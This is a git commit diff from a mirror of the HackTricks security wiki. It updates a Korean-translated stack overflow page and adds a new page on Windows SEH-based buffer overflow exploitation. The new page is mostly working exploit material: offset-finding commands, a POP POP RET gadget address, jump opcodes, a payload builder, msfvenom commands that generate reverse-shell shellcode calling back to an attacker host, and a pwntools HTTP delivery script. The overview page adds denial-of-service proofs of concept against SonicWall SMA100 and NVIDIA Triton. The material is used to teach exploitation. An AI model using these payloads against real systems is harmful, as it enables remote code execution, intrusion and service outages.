mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/windows-seh-overflow
This commit is contained in:
parent
6081036cfb
commit
423e85cb91
@ -779,6 +779,7 @@
|
|||||||
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
- [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
|
||||||
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
- [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
|
||||||
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
|
- [Synology Encrypted Archive Decryption](hardware-physical-access/firmware-analysis/synology-encrypted-archive-decryption.md)
|
||||||
|
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
|
||||||
- [Array Indexing](binary-exploitation/array-indexing.md)
|
- [Array Indexing](binary-exploitation/array-indexing.md)
|
||||||
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
|
||||||
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
- [Integer Overflow](binary-exploitation/integer-overflow.md)
|
||||||
|
|||||||
@ -2,15 +2,15 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## What is a Stack Overflow
|
## Stack Overflow란 무엇인가
|
||||||
|
|
||||||
A **stack overflow**는 프로그램이 할당된 것보다 더 많은 데이터를 스택에 기록할 때 발생하는 취약점입니다. 이 초과 데이터는 **인접한 메모리 공간을 덮어쓰게** 되어 유효한 데이터가 손상되고, 제어 흐름이 방해받으며, 잠재적으로 악성 코드가 실행될 수 있습니다. 이 문제는 종종 입력에 대한 경계 검사를 수행하지 않는 안전하지 않은 함수의 사용으로 인해 발생합니다.
|
A **stack overflow**는 프로그램이 스택에 할당된 크기보다 더 많은 데이터를 쓸 때 발생하는 취약점입니다. 이 초과 데이터는 인접 메모리 영역을 **덮어써서**, 유효한 데이터의 손상, 제어 흐름의 붕괴, 그리고 경우에 따라 악성 코드의 실행을 초래할 수 있습니다. 이러한 문제는 일반적으로 입력에 대해 경계 검사를 수행하지 않는 안전하지 않은 함수를 사용하면서 발생합니다.
|
||||||
|
|
||||||
이 덮어쓰기의 주요 문제는 **저장된 명령 포인터 (EIP/RIP)**와 **저장된 기준 포인터 (EBP/RBP)**가 이전 함수로 돌아가기 위해 **스택에 저장**되기 때문입니다. 따라서 공격자는 이를 덮어쓰고 **프로그램의 실행 흐름을 제어**할 수 있습니다.
|
이 덮어쓰기의 주요 문제는 이전 함수로 돌아가기 위한 **saved instruction pointer (EIP/RIP)**와 **saved base pointer (EBP/RBP)**가 **스택에 저장**된다는 점입니다. 따라서 공격자는 이를 덮어써서 프로그램의 실행 흐름을 **제어**할 수 있습니다.
|
||||||
|
|
||||||
취약점은 일반적으로 함수가 **스택에 할당된 양보다 더 많은 바이트를 복사할 때** 발생하여 스택의 다른 부분을 덮어쓸 수 있게 됩니다.
|
이 취약점은 일반적으로 함수가 **스택 내부에 할당된 크기보다 더 많은 바이트를 복사**하기 때문에 발생하며, 그 결과 스택의 다른 부분을 덮어쓸 수 있게 됩니다.
|
||||||
|
|
||||||
이와 관련된 일반적인 취약 함수는: **`strcpy`, `strcat`, `sprintf`, `gets`**... 또한 **`fgets`**, **`read` & `memcpy`**와 같이 **길이 인수**를 사용하는 함수는 지정된 길이가 할당된 것보다 클 경우 취약하게 사용될 수 있습니다.
|
취약하기 쉬운 일반적인 함수들로는 **`strcpy`, `strcat`, `sprintf`, `gets`** 등이 있습니다. 또한 **`fgets`**, **`read`** 및 **`memcpy`**처럼 **길이 인자(length argument)**를 받는 함수들도 지정된 길이가 할당된 크기보다 클 경우 취약하게 사용될 수 있습니다.
|
||||||
|
|
||||||
예를 들어, 다음 함수들이 취약할 수 있습니다:
|
예를 들어, 다음 함수들이 취약할 수 있습니다:
|
||||||
```c
|
```c
|
||||||
@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
|
|||||||
printf("You entered: %s\n", buffer);
|
printf("You entered: %s\n", buffer);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### 스택 오버플로우 오프셋 찾기
|
### Stack Overflows 오프셋 찾기
|
||||||
|
|
||||||
스택 오버플로우를 찾는 가장 일반적인 방법은 매우 큰 입력 `A`s를 주는 것입니다 (예: `python3 -c 'print("A"*1000)'`) 그리고 **주소 `0x41414141`에 접근하려고 시도했다는 것을 나타내는 `Segmentation Fault`**를 기대하는 것입니다.
|
가장 흔한 방법은 `A`s를 매우 많이 입력(예: `python3 -c 'print("A"*1000)'`)해서 `Segmentation Fault`가 발생하는지 확인하는 것입니다. 이는 **주소 `0x41414141`에 접근을 시도했다는 것을 의미합니다**.
|
||||||
|
|
||||||
게다가, 스택 오버플로우 취약점이 발견되면 **리턴 주소를 덮어쓸 수 있는 오프셋**을 찾아야 합니다. 이를 위해 일반적으로 **De Bruijn 시퀀스**가 사용됩니다. 주어진 크기 _k_의 알파벳과 길이 _n_의 부분 수열에 대해, **길이 _n_의 모든 가능한 부분 수열이 정확히 한 번씩 연속 부분 수열로 나타나는 순환 시퀀스**입니다.
|
게다가, Stack Overflow 취약점이 있다는 것을 확인하면 **overwrite the return address**가 가능해지는 오프셋을 찾아야 합니다. 이를 위해 보통 **De Bruijn sequence**가 사용됩니다. 주어진 알파벳 크기 _k_와 부분시퀀스 길이 _n_에 대해, 이는 **모든 가능한 길이 _n_의 부분시퀀스가 정확히 한 번 연속 부분시퀀스로 나타나는 순환 시퀀스**입니다.
|
||||||
|
|
||||||
이렇게 하면 EIP를 제어하는 데 필요한 오프셋을 수동으로 파악할 필요 없이 이러한 시퀀스 중 하나를 패딩으로 사용하고, 그 패딩을 덮어쓴 바이트의 오프셋을 찾을 수 있습니다.
|
이렇게 하면 수동으로 어느 오프셋이 EIP를 제어하는지 알아낼 필요 없이, padding으로 이러한 시퀀스 중 하나를 사용하고 이를 덮어쓴 바이트의 오프셋을 찾을 수 있습니다.
|
||||||
|
|
||||||
이를 위해 **pwntools**를 사용할 수 있습니다:
|
이를 위해 **pwntools**를 사용할 수 있습니다:
|
||||||
```python
|
```python
|
||||||
@ -48,86 +48,95 @@ pattern create 200 #Generate length 200 pattern
|
|||||||
pattern search "avaaawaa" #Search for the offset of that substring
|
pattern search "avaaawaa" #Search for the offset of that substring
|
||||||
pattern search $rsp #Search the offset given the content of $rsp
|
pattern search $rsp #Search the offset given the content of $rsp
|
||||||
```
|
```
|
||||||
## 스택 오버플로우 악용
|
## Exploiting Stack Overflows
|
||||||
|
|
||||||
오버플로우가 발생하는 동안(오버플로우 크기가 충분히 큰 경우) **스택** 내의 지역 변수 값을 **덮어쓸** 수 있습니다. **EBP/RBP 및 EIP/RIP(또는 그 이상)**에 도달할 때까지 가능합니다.\
|
오버플로우가 발생하면(오버플로우 크기가 충분히 큰 경우) 스택 내부의 로컬 변수 값을 저장된 **EBP/RBP and EIP/RIP (or even more)**에 도달할 때까지 **덮어쓸 수 있습니다**.\
|
||||||
이러한 유형의 취약점을 악용하는 가장 일반적인 방법은 **반환 주소를 수정하는 것**입니다. 이렇게 하면 함수가 끝날 때 **제어 흐름이 사용자가 지정한 위치로 리디렉션됩니다**.
|
이 유형의 취약점을 악용하는 가장 일반적인 방법은 **modifying the return address**로, 함수가 끝날 때 이 포인터에 사용자가 지정한 위치로 **control flow will be redirected wherever the user specified**됩니다.
|
||||||
|
|
||||||
그러나 다른 시나리오에서는 **스택의 일부 변수 값을 덮어쓰는 것**만으로도 악용이 충분할 수 있습니다(예: 쉬운 CTF 챌린지에서).
|
그러나 다른 시나리오에서는 단순히 스택의 일부 변수 값을 **overwriting some variables values in the stack**하는 것만으로도 익스플로잇에 충분할 수 있습니다(예: 쉬운 CTF challenges).
|
||||||
|
|
||||||
### Ret2win
|
### Ret2win
|
||||||
|
|
||||||
이러한 유형의 CTF 챌린지에서는 **결코 호출되지 않는** **함수**가 바이너리 내에 있으며, **이 함수를 호출해야 승리**할 수 있습니다. 이러한 챌린지에서는 **반환 주소를 덮어쓸 오프셋**을 찾고 **호출할 함수의 주소**를 찾아야 합니다(일반적으로 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)가 비활성화됨) 그래서 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다:
|
이 유형의 CTF 문제에서는 바이너리 내부에 **함수(function)**가 존재하지만 **절대 호출되지 않으며**, **승리하려면 호출해야 합니다**. 이러한 문제에서는 **offset to overwrite the return address**를 찾고 호출할 **function의 address**를 찾기만 하면 됩니다(보통 [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html)는 비활성화되어 있음). 취약한 함수가 반환될 때 숨겨진 함수가 호출됩니다:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
ret2win/
|
ret2win/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### 스택 셸코드
|
### Stack Shellcode
|
||||||
|
|
||||||
이 시나리오에서 공격자는 스택에 셸코드를 배치하고 제어된 EIP/RIP를 악용하여 셸코드로 점프하고 임의의 코드를 실행할 수 있습니다:
|
이 시나리오에서는 공격자가 스택에 shellcode를 배치하고 제어된 EIP/RIP를 이용해 shellcode로 점프하여 임의의 코드를 실행할 수 있습니다:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
stack-shellcode/
|
stack-shellcode/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### ROP 및 Ret2... 기술
|
### Windows SEH-based exploitation (nSEH/SEH)
|
||||||
|
|
||||||
이 기술은 이전 기술의 주요 보호 장치를 우회하기 위한 기본 프레임워크입니다: **실행 불가능한 스택(NX)**. 그리고 기존 바이너리의 명령어를 악용하여 임의의 명령을 실행하는 여러 다른 기술(ret2lib, ret2syscall...)을 수행할 수 있게 해줍니다:
|
32-bit Windows에서는 오버플로우가 저장된 return address 대신 Structured Exception Handler (SEH) 체인을 덮어쓸 수 있습니다. 익스플로잇은 일반적으로 SEH 포인터를 POP POP RET gadget으로 교체하고 4-byte nSEH 필드를 짧은 점프(short jump)로 사용해 shellcode가 있는 큰 버퍼로 다시 피벗합니다. 흔한 패턴은 nSEH의 짧은 jmp가 nSEH 바로 앞에 배치된 5-byte near jmp에 착지하여 수백 바이트를 페이로드 시작으로 되돌리는 것입니다.
|
||||||
|
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
windows-seh-overflow.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
|
### ROP & Ret2... techniques
|
||||||
|
|
||||||
|
이 기법은 이전 기법의 주요 보호 장치인 **No executable stack (NX)**를 우회하기 위한 기본 프레임워크입니다. 또한 바이너리에 존재하는 기존 명령들을 악용하여 최종적으로 임의의 명령을 실행하는 여러 다른 기법(ret2lib, ret2syscall...)을 수행할 수 있게 합니다:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../rop-return-oriented-programing/
|
../rop-return-oriented-programing/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## 힙 오버플로우
|
## Heap Overflows
|
||||||
|
|
||||||
오버플로우는 항상 스택에서 발생하는 것은 아니며, 예를 들어 **힙**에서도 발생할 수 있습니다:
|
오버플로우가 항상 스택에만 발생하는 것은 아니며, 예를 들어 **heap**에서도 발생할 수 있습니다:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../libc-heap/heap-overflow.md
|
../libc-heap/heap-overflow.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
## 보호 유형
|
## Types of protections
|
||||||
|
|
||||||
취약점 악용을 방지하기 위한 여러 가지 보호 장치가 있으며, 이를 확인할 수 있습니다:
|
취약점 악용을 막기 위한 여러 보호 기법들이 있으며, 다음에서 확인할 수 있습니다:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../common-binary-protections-and-bypasses/
|
../common-binary-protections-and-bypasses/
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### 실제 사례: CVE-2025-40596 (SonicWall SMA100)
|
### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
|
||||||
|
|
||||||
**`sscanf`는 신뢰할 수 없는 입력을 파싱하는 데 절대 신뢰해서는 안 된다**는 좋은 예가 2025년 SonicWall의 SMA100 SSL-VPN 장치에서 나타났습니다. `/usr/src/EasyAccess/bin/httpd` 내의 취약한 루틴은 `/__api__/`로 시작하는 URI에서 버전과 엔드포인트를 추출하려고 시도합니다.
|
왜 **`sscanf` should never be trusted for parsing untrusted input**인지를 잘 보여주는 사례가 2025년 SonicWall의 SMA100 SSL-VPN 어플라이언스에서 나타났습니다. `/usr/src/EasyAccess/bin/httpd` 내부의 취약한 루틴은 `/__api__/`로 시작하는 모든 URI에서 버전과 엔드포인트를 추출하려고 시도합니다:
|
||||||
```c
|
```c
|
||||||
char version[3];
|
char version[3];
|
||||||
char endpoint[0x800] = {0};
|
char endpoint[0x800] = {0};
|
||||||
/* simplified proto-type */
|
/* simplified proto-type */
|
||||||
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
|
||||||
```
|
```
|
||||||
1. 첫 번째 변환(`%2s`)은 `version`에 **두** 바이트를 안전하게 저장합니다 (예: `"v1"`).
|
1. 첫 번째 변환 (`%2s`)은 `version`에 **두** 바이트를 안전하게 저장합니다(예: "v1").
|
||||||
2. 두 번째 변환(`%s`)은 **길이 지정자가 없으므로**, `sscanf`는 **첫 번째 NUL 바이트**까지 계속 복사합니다.
|
2. 두 번째 변환 (`%s`)은 **길이 지정자**가 없으므로, `sscanf`는 **첫 번째 NUL 바이트가 나올 때까지** 계속 복사합니다.
|
||||||
3. `endpoint`가 **스택**에 위치하고 **0x800 바이트 길이**이기 때문에, 0x800 바이트보다 긴 경로를 제공하면 버퍼 뒤에 있는 모든 것을 손상시킵니다 ‑ **스택 카나리**와 **저장된 반환 주소**를 포함하여.
|
3. `endpoint`가 **stack**에 위치하고 **0x800 바이트 길이**이기 때문에, 0x800 바이트보다 긴 path를 제공하면 버퍼 뒤에 있는 모든 것이 손상됩니다 ‑ **stack canary**와 **saved return address**를 포함하여.
|
||||||
|
|
||||||
인증 **이전**에 충돌을 유발하기 위한 단일 행 개념 증명이 충분합니다:
|
한 줄짜리 proof-of-concept만으로도 **인증 전에** 크래시를 발생시키기에 충분합니다:
|
||||||
```python
|
```python
|
||||||
import requests, warnings
|
import requests, warnings
|
||||||
warnings.filterwarnings('ignore')
|
warnings.filterwarnings('ignore')
|
||||||
url = "https://TARGET/__api__/v1/" + "A"*3000
|
url = "https://TARGET/__api__/v1/" + "A"*3000
|
||||||
requests.get(url, verify=False)
|
requests.get(url, verify=False)
|
||||||
```
|
```
|
||||||
스택 카나리가 프로세스를 중단시키더라도, 공격자는 여전히 **서비스 거부** 원시 기능을 얻습니다 (추가 정보 유출이 있을 경우, 코드 실행도 가능할 수 있습니다). 교훈은 간단합니다:
|
stack canaries가 프로세스를 중단시키더라도, 공격자는 여전히 **Denial-of-Service** primitive를 획득할 수 있습니다 (그리고 추가적인 정보 leaks가 있으면, code-execution도 가능할 수 있습니다). 교훈은 간단합니다:
|
||||||
|
|
||||||
* 항상 **최대 필드 너비**를 제공하세요 (예: `%511s`).
|
* 항상 **최대 필드 너비**를 지정하세요 (예: `%511s`).
|
||||||
* `snprintf`/`strncpy_s`와 같은 더 안전한 대안을 선호하세요.
|
* `snprintf`/`strncpy_s`와 같은 더 안전한 대안을 선호하세요.
|
||||||
|
|
||||||
### 실제 사례: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
### 실제 사례: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
|
||||||
|
|
||||||
NVIDIA의 Triton Inference Server (≤ v25.06)에는 HTTP API를 통해 접근할 수 있는 여러 **스택 기반 오버플로우**가 포함되어 있었습니다.
|
NVIDIA의 Triton Inference Server (≤ v25.06)에는 HTTP API를 통해 도달 가능한 여러 **stack-based overflows**가 포함되어 있었습니다.
|
||||||
취약한 패턴은 `http_server.cc`와 `sagemaker_server.cc`에서 반복적으로 나타났습니다:
|
취약한 패턴은 `http_server.cc`와 `sagemaker_server.cc`에서 반복적으로 나타났습니다:
|
||||||
```c
|
```c
|
||||||
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
|
||||||
@ -138,9 +147,9 @@ alloca(sizeof(struct evbuffer_iovec) * n);
|
|||||||
...
|
...
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
1. `evbuffer_peek` (libevent)은 현재 HTTP 요청 본체를 구성하는 **내부 버퍼 세그먼트의 수**를 반환합니다.
|
1. `evbuffer_peek` (libevent)는 현재 HTTP 요청 본문을 구성하는 내부 버퍼 세그먼트의 **개수**를 반환합니다.
|
||||||
2. 각 세그먼트는 **상한선 없이** `alloca()`를 통해 **스택**에 **16바이트** `evbuffer_iovec`를 할당하게 합니다.
|
2. 각 세그먼트는 `alloca()`를 통해 **16-byte** 크기의 `evbuffer_iovec`가 **stack**에 할당되게 하며 — **상한 없이**.
|
||||||
3. **HTTP _청크 전송 인코딩_**을 악용함으로써, 클라이언트는 요청을 **수십만 개의 6바이트 청크**(`"1\r\nA\r\n"`)로 나누도록 강제할 수 있습니다. 이로 인해 `n`은 스택이 소진될 때까지 무한히 증가합니다.
|
3. 클라이언트가 **HTTP _chunked transfer-encoding_**을 악용하면 요청을 **수십만 개의 6-byte chunks**(`"1\r\nA\r\n"`)으로 분할하도록 강제할 수 있습니다. 이로 인해 `n`은 stack이 고갈될 때까지 제약 없이 증가합니다.
|
||||||
|
|
||||||
#### 개념 증명 (DoS)
|
#### 개념 증명 (DoS)
|
||||||
```python
|
```python
|
||||||
@ -166,10 +175,10 @@ s.close()
|
|||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
exploit(*sys.argv[1:])
|
exploit(*sys.argv[1:])
|
||||||
```
|
```
|
||||||
약 3 MB의 요청으로 저장된 반환 주소를 덮어쓰고 기본 빌드에서 데몬을 **충돌**시킬 수 있습니다.
|
~3 MB 요청이면 저장된 리턴 주소를 덮어쓰고 기본 빌드에서 데몬을 **crash**시킬 수 있습니다.
|
||||||
|
|
||||||
#### 패치 및 완화
|
#### 패치 및 완화
|
||||||
25.07 릴리스는 안전하지 않은 스택 할당을 **힙 기반 `std::vector`**로 교체하고 `std::bad_alloc`를 우아하게 처리합니다:
|
25.07 릴리스에서는 안전하지 않은 스택 할당을 **힙 기반의 `std::vector`**로 교체하고 `std::bad_alloc`을 우아하게 처리합니다:
|
||||||
```c++
|
```c++
|
||||||
std::vector<evbuffer_iovec> v_vec;
|
std::vector<evbuffer_iovec> v_vec;
|
||||||
try {
|
try {
|
||||||
@ -179,13 +188,14 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
|
|||||||
}
|
}
|
||||||
struct evbuffer_iovec *v = v_vec.data();
|
struct evbuffer_iovec *v = v_vec.data();
|
||||||
```
|
```
|
||||||
교훈:
|
배운 점:
|
||||||
* 공격자가 제어하는 크기로 `alloca()`를 호출하지 마십시오.
|
* 공격자가 제어하는 크기로 `alloca()`를 호출하지 마라.
|
||||||
* 청크 요청은 서버 측 버퍼의 형태를 극적으로 변경할 수 있습니다.
|
* Chunked requests는 server-side buffers의 형태를 급격히 바꿀 수 있다.
|
||||||
* 메모리 할당에 사용하기 전에 클라이언트 입력에서 파생된 값을 검증/제한하십시오.
|
* 클라이언트 입력에서 유도된 값은 memory allocations에 사용하기 *전에* 검증하거나 제한하라.
|
||||||
|
|
||||||
## 참고문헌
|
## 참고 자료
|
||||||
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
* [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)
|
||||||
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
* [Trail of Bits – Uncovering memory corruption in NVIDIA Triton](https://blog.trailofbits.com/2025/08/04/uncovering-memory-corruption-in-nvidia-triton-as-a-new-hire/)
|
||||||
|
* [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|||||||
150
src/binary-exploitation/stack-overflow/windows-seh-overflow.md
Normal file
150
src/binary-exploitation/stack-overflow/windows-seh-overflow.md
Normal file
@ -0,0 +1,150 @@
|
|||||||
|
# Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
SEH-based exploitation은 스택에 저장된 Structured Exception Handler 체인을 악용하는 고전적인 x86 Windows 기법이다. 스택 버퍼 오버플로우가 두 개의 4바이트 필드를 덮어쓸 때
|
||||||
|
|
||||||
|
- nSEH: 다음 SEH 레코드에 대한 포인터, and
|
||||||
|
- SEH: 예외 처리기 함수에 대한 포인터
|
||||||
|
|
||||||
|
공격자는 다음 방법으로 실행 제어를 획득할 수 있다:
|
||||||
|
|
||||||
|
1) 예외가 발생했을 때 gadget이 공격자가 제어하는 바이트로 리턴하도록, 보호되지 않은 모듈의 POP POP RET gadget 주소로 SEH를 설정하고, 그리고
|
||||||
|
2) nSEH를 사용해 (대개 짧은 점프) 큰 오버플로잉 버퍼 내의 shellcode로 실행을 리다이렉트한다.
|
||||||
|
|
||||||
|
이 기법은 32-bit 프로세스(x86)에 특화되어 있다. 최신 시스템에서는 gadget을 위해 SafeSEH와 ASLR이 없는 모듈을 선호한다. 일반적인 금지 문자는 C-strings와 HTTP 파싱 때문에 종종 0x00, 0x0a, 0x0d (NUL/CR/LF)를 포함한다.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 정확한 오프셋 찾기 (nSEH / SEH)
|
||||||
|
|
||||||
|
- 프로세스를 크래시시키고 SEH 체인이 덮어써졌는지 확인한다 (예: x32dbg/x64dbg에서 SEH view 확인).
|
||||||
|
- 오버플로잉 데이터로 cyclic pattern을 보내고, nSEH와 SEH에 위치한 두 dword의 오프셋을 계산한다.
|
||||||
|
|
||||||
|
Example with peda/GEF/pwntools on a 1000-byte POST body:
|
||||||
|
```bash
|
||||||
|
# generate pattern (any tool is fine)
|
||||||
|
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
|
||||||
|
# or
|
||||||
|
python3 -c "from pwn import *; print(cyclic(1000).decode())"
|
||||||
|
|
||||||
|
# after crash, note the two 32-bit values from SEH view and compute offsets
|
||||||
|
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
|
||||||
|
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
|
||||||
|
# ➜ offsets example: nSEH=660, SEH=664
|
||||||
|
```
|
||||||
|
해당 위치에 마커를 배치하여 검증하세요(예: nSEH=b"BB", SEH=b"CC"). 충돌을 재현 가능하게 하려면 총 길이를 일정하게 유지하세요.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Choosing a POP POP RET (SEH gadget)
|
||||||
|
|
||||||
|
SEH 프레임을 풀고 nSEH 바이트로 되돌아가기 위해 POP POP RET 시퀀스가 필요합니다. SafeSEH가 없는 모듈에서 찾고, 가능하면 ASLR도 비활성화된 모듈을 선택하세요:
|
||||||
|
|
||||||
|
- Mona (Immunity/WinDbg): `!mona modules` then `!mona seh -m modulename`.
|
||||||
|
- x64dbg plugin ERC.Xdbg: `ERC --SEH` to list POP POP RET gadgets and SafeSEH status.
|
||||||
|
|
||||||
|
리틀엔디언으로 썼을 때 badchars가 포함되지 않는 주소를 선택하세요(예: `p32(0x004094D8)`). 보호 기능이 허용된다면 취약 바이너리 내부의 gadgets를 우선 선택하세요.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Jump-back technique (short + near jmp)
|
||||||
|
|
||||||
|
nSEH는 4바이트에 불과하므로 최대 2바이트 short jump(`EB xx`)와 패딩만 들어갑니다. 버퍼 시작으로 수백 바이트를 되돌아가야 한다면, nSEH 바로 앞에 5바이트 near jump를 두고 nSEH의 short jump로 그 점프에 연결하세요.
|
||||||
|
|
||||||
|
nasmshell에서:
|
||||||
|
```text
|
||||||
|
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
|
||||||
|
E967FDFFFF
|
||||||
|
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
|
||||||
|
EBF6
|
||||||
|
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
|
||||||
|
E96FFDFFFF
|
||||||
|
```
|
||||||
|
nSEH가 offset 660에 있는 1000-byte payload용 레이아웃 아이디어:
|
||||||
|
```python
|
||||||
|
buffer_length = 1000
|
||||||
|
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
|
||||||
|
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
|
||||||
|
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
|
||||||
|
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
|
||||||
|
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
|
||||||
|
payload += b"D" * (buffer_length - len(payload))
|
||||||
|
```
|
||||||
|
실행 흐름:
|
||||||
|
- 예외가 발생하고 디스패처가 덮어쓴 SEH를 사용한다.
|
||||||
|
- POP POP RET가 언와인드되어 우리의 nSEH로 진입한다.
|
||||||
|
- nSEH가 `jmp short -8`를 실행하여 5바이트 near jump로 들어간다.
|
||||||
|
- Near jump는 NOP sled + shellcode가 위치한 버퍼의 시작 지점에 도달한다.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Bad characters
|
||||||
|
|
||||||
|
전체 badchar 문자열을 생성하여 크래시 후 스택 메모리를 비교하고, 타깃 파서가 변형하는 바이트는 제거한다. HTTP-based overflows의 경우, `\x00\x0a\x0d`는 거의 항상 제외된다.
|
||||||
|
```python
|
||||||
|
badchars = bytes([x for x in range(1,256)])
|
||||||
|
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
|
||||||
|
```
|
||||||
|
---
|
||||||
|
|
||||||
|
## Shellcode 생성 (x86)
|
||||||
|
|
||||||
|
msfvenom을 당신의 badchars와 함께 사용하세요. 작은 NOP sled은 착지 편차를 허용하는 데 도움이 됩니다.
|
||||||
|
```bash
|
||||||
|
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||||
|
-b "\x00\x0a\x0d" -f python -v sc
|
||||||
|
```
|
||||||
|
즉석에서 생성하는 경우, hex 형식은 Python에서 임베드하고 unhex하기에 편리합니다:
|
||||||
|
```bash
|
||||||
|
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
|
||||||
|
-b "\x00\x0a\x0d" -f hex
|
||||||
|
```
|
||||||
|
---
|
||||||
|
|
||||||
|
## Delivering over HTTP (precise CRLF + Content-Length)
|
||||||
|
|
||||||
|
취약한 벡터가 HTTP 요청 본문인 경우, 정확한 CRLFs와 Content-Length를 가진 raw request를 만들어 서버가 넘쳐흐르는 전체 본문을 읽도록 하라.
|
||||||
|
```python
|
||||||
|
# pip install pwntools
|
||||||
|
from pwn import remote
|
||||||
|
host, port = "<TARGET_IP>", 8080
|
||||||
|
body = b"A" * 1000 # replace with the SEH-aware buffer above
|
||||||
|
req = f"""POST / HTTP/1.1
|
||||||
|
Host: {host}:{port}
|
||||||
|
User-Agent: curl/8.5.0
|
||||||
|
Accept: */*
|
||||||
|
Content-Length: {len(body)}
|
||||||
|
Connection: close
|
||||||
|
|
||||||
|
""".replace('\n','\r\n').encode() + body
|
||||||
|
p = remote(host, port)
|
||||||
|
p.send(req)
|
||||||
|
print(p.recvall(timeout=0.5))
|
||||||
|
p.close()
|
||||||
|
```
|
||||||
|
---
|
||||||
|
|
||||||
|
## 도구
|
||||||
|
|
||||||
|
- x32dbg/x64dbg를 사용해 SEH 체인을 관찰하고 충돌을 분류/분석하기 위해.
|
||||||
|
- ERC.Xdbg (x64dbg 플러그인)으로 SEH gadgets를 열거하기 위해: `ERC --SEH`.
|
||||||
|
- 대안으로 Mona: `!mona modules`, `!mona seh`.
|
||||||
|
- nasmshell로 short/near jumps를 어셈블하고 raw opcodes를 복사하기 위해.
|
||||||
|
- pwntools로 정밀한 네트워크 페이로드를 제작하기 위해.
|
||||||
